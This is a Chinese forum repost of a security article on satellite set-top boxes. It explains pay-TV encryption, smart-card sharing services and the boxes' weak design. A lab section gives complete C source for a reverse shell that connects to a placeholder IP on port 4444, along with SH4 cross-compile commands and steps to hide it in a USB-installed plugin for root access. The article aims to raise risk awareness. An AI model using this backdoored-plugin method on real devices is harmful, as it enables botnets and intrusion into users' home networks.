TA的每日心情 | 慵懒 2024-12-2 09:11 |
---|
签到天数: 919 天 [LV.10]以坛为家III
|
0×00概览
新生的机顶盒(STBs)属于嵌入式Linux卫星电视接收器,有所有类Linux机器的特性,包括无线和网络连接,这就足够黑客破解大多数卫星DVB-CA接收卡的加密策略并发展黑色产业链。
此类攻击可以创建一个相当庞大的Linux 卫星接收器的僵尸网络,甚至可以用于解密卫星或入侵终端用户的网络当做攻击跳板。有数百万的终端用户不经意间下载安装了寻找便宜的甚至免费卫星电视信号的插件自此一发不可收拾,黑客很容易就控制数百万的设备。
0×01介绍
去年期间,TV的加密策略有了很大的进步,引入了更复杂的加密算法。用老的技术例如智能卡克隆和在公开卫星接收器上的仿真,已经不可能破解加密了。
然而新一代的机顶盒完全利用电脑的设计包括网络连接部分,这使得破解技术也上升到了新的层次。基于通过网络连接的智能卡共享技术仍然可以解密大多数加密的电视频道,由此助长了黑市犯罪和版权的侵害问题。
本文的目的是强调关于卡共享的风险且可被用于公开卫星接收器的设计,人的因素同样为攻击者建造大规模僵尸网络提供了温床。
首先简单说下电视加密策略,然后是智能卡共享攻击。还有卡共享的密钥组成结构,然后你就会看到怎样利用设备的设计缺陷和社会工程学实现完美的攻击。
0×02 卫星电视加密策略
大体上卫星电视的加密是基于加密流的广播,应该只能被合法的卫星接收器用用户手中的官方智能卡才能解开。
不同的条件接收系统(CAS:是付费电视的核心技术)供应商会使用不同的CA ID认证,然而核心的概念是一样的,基于利用CW(Crypto word :其实就是随机码发生器产生的随机码)加密数据流且只能被合法订阅节目的智能卡解码。
图1 DVB的加密解密策略
CAS的作用是产生两个信息,ECM(Entitlement Control Message)授权控制信息和EMM(Entitlement Management Message)授权管理信息。EMM 包括订阅ID和关于订阅权限的所有信息,另一方面ECM包含的信息内容比用于加密解密的CW要重要。
生成的CW用于混淆DVB数据流并用ECM生成加密格式传给机顶盒。一旦数据流被机顶盒接收,CW被提取出来并且被智能卡在(CAM:Conditional Access Module条件接收模式)用特定广播密钥解密,然后用于解码DVB信号并输出清晰的电视信号。
攻击者的主要目的是从ECM中提取CW并且破解它以便解码电视信号。
0×03 智能卡共享
过去,攻击者可以用CAM模拟器植入公开的卫星接收器模拟合法的CAM,甚至克隆合法的智能卡,然而CAS的发展让这些攻击都无效了。新的攻击方法应运而生,基于合法的智能卡网络共享。
图2 智能卡工作流程
在一个典型的智能卡共享结构中,一个供应商主机,一个家里的卡服务器或者在某个近海地方用不同供应商的官方智能卡,同时为很多用户提供各种接收服务。
大多数情况下,主角包括一个代理商,管理智能卡共享主机提供的转售的帐号并且终端用户插件设备以安装他们的STB和支持卡共享用到的各种协议例如CCCAM,MGCAMD,等等。
这些协议插件用来在卡共享服务器上认证并且抓取ECM/EMM的信息用于解密,还要返回CW给STB。
插件设备同时还包括了服务器的凭证或者是从网上下载的大量文件共享和卫星电视节目。
一旦接到混淆的数据流,客户段STB用网络发送ECM和EMM给智能卡服务器,服务器用官方的卡提取出ECM中的CW,发回客户端。一旦接收到CW,TSB就可以解码出电视频道的信号了。
0×04 STB设计缺陷
开源的STB如今运行着嵌入式Linux系统,配置越来越堪比一个完整的计算机,例如实验中应用的STB
然而 STBs 设计对安全性欠考虑,包含很多不同的安全漏洞,在设计和使用的软件方面都很脆弱。在如今的攻击策略中,设备提权后我们主要注意到了以下几点:
1、所有软件都以最高权限运行
2、设备没有防火墙或安全机制
3、固件和插件没有数字签名
0×05 攻击方法
终端用户远没有达到注意技术安全性的程度,风险来自于在STB上使用不信任的需要联网的软件,从用户的角度来看,它们只是在想看免费的电视频道才从代理商那里安装了这个插件或者从某个论坛上下载下来。
攻击者可以通过在插件中植入后门来利用此类漏洞并提供给代理商,或者终端用户渐渐知道这个嵌入式Linux的插件联网没有任何的安全措施。
攻击者不仅能够建立庞大的僵尸网络,关键是夺取用户内网权限防止后门被STB和谐。
因为插件来自网上的匿名开发者,难以对其进行进一步修改,想增加新的安全标准和验证文件可靠性都没有可信的数字签名。
攻击技术部分很容易添加后门然后接着感染其他终端设备。
实验的攻击方法是运行一个后门并将它安装在之前的STB上
我们需要:
·Linux 虚拟机
·SH4架构的GCC
·c语言的反弹shellcode
//Simple reverse shell revershell.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
daemon(1, 0);
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(4444);
attacker_addr.sin_addr.s_addr = inet_addr("x.x.x.x");
if(connect(sock, (struct sockaddr *)&attacker_addr,
sizeof(attacker_addr))!=0)
_exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/bash", "/bin/bash", "-i", NULL);
}
反弹shell 在Linux上用SH4的GCC编译
为了利用代码,利用Ubuntu Server 14.04.2 ,先安装SH4的编译器。
添加apt 列表 :
deb http://ftp.debian-ports.org/debian sid main
安装 GCC4.4 SH4:
apt-get update
apt-get install gcc-4.4-sh4-linux-gnu
编译 revershell.c :
/esr/bin/sh4-linux-gnu-gcc-4.4 ./revershell.c -o rev
生成了一个对应SH4目标的二进制文件,可以对特定IP地址创建反弹shell。
通过创建图3一样的目录结构来安装插件。
图3
将插件文件复制到U盘中插入STB,会自动引安装插件。
图4
安装后,插件就会出现在STB件列表当中,激活它就会连接远程的IP地址,接入设备的root shell。例如图5:
图5
一旦安装上,就可以远程控制插件的开启和切换频道。攻击者很容易创造一个带后门的插件扩展他的卡共享并为客户提供订阅服务,这些后门将使STB链接到一个C&C服务器然后等待命令,STB就此变成僵尸网络的一部分。
0×06影响范围
主要的影响来源于那些供应商还没有覆盖到的地方,一些卡共享服务的代理商估计在阿尔及利亚有相当庞大的生意,大约4百万的订阅用户使这项产业发展迅速,物联网发展也带来了巨多的STB。
一方面几乎所有的STB设计者为了扩展业务,购买一项服务都能够享受一年的免费订阅,然而服务的质量并不高,服务器处理数量庞大的连接必然性能一般,用户会再寻找其他的商家。
另一方面阿尔及利亚的市场给这种攻击提供了更多的机会,利用人们寻找免费节目的心理不经意间将其STB变成僵尸网络一部分,因为设备没有设计任何的保护和检测措施并且大多数用户都直接连在局域网上,没有任何的防火墙和DSL 路由控制,局域网的设备对攻击者来说轻而易举。
0×07结论
这种攻击很难禁止,教育用户的安全意识不是一朝一夕能完成,在一个寻找免费电视的用户面前,那些不可见的风险全都会被忽视。
另一方面,在专门的恶意软件中添加保护规则和标准更是有很多不可预知的难度。
还有一种可能是,这种攻击技术已经在某些场景中被利用,许多设备被控制,此刻正作为一个僵尸或是一些网络攻击的桥梁。 |
|